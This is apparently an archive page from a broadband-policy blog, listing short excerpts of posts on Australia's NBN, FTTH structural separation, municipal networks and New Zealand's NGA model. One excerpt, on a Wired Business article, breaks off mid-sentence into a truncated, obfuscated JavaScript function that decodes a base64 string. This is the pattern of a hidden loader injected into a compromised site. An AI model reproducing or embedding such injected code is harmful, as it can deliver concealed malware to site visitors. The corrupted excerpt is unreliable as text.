Plucking the low-hanging broadband policy fruit

Ever since moving to Asia last year I have been looking around for what was happening broadband policy wise

NBN Co should NOT open its network to retail customers

It won’t come as a surprise that I follow what’s happening with Australia’s NBN Co with interest. After all, even if I’ve been highly critical of the plan’s implementation

DT didn’t shelf its variable rate plans…


There was an interesting and animated discussion on twitter yesterday about the fact that journalists systematically present network congestion due to Online

The false dichotomy of competition vs. investment


I spent last week in Europe, in between Stockholm, Brussels and Paris

Structural Separation : a Solution to boost FTTH investment

Our webinar on Nov. 18th hosted by the FTTH Council Europe was extremely successful, both in terms of attendance and in the level

Connectivity Models for Developing Economies

ConnectivityThumbThere are recurring misconceptions about broadband in emerging markets. These are considered "truths"

The Dynamics of Public Private Collaboration in Next-Generation Access Infrastructure

Initiatives in municipal broadband have been one of the major changes in the telecom l

Diffraction Analysis in Wired Business

An article in Wired Business written by Susan Crawford and published on Oct. 2nd (entitled function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)

Can the New Zealand NGA Model be Replicated?

In policy circles in Europe and North America, there’s a lot of pondering about what model may (finally) boost NGA deployment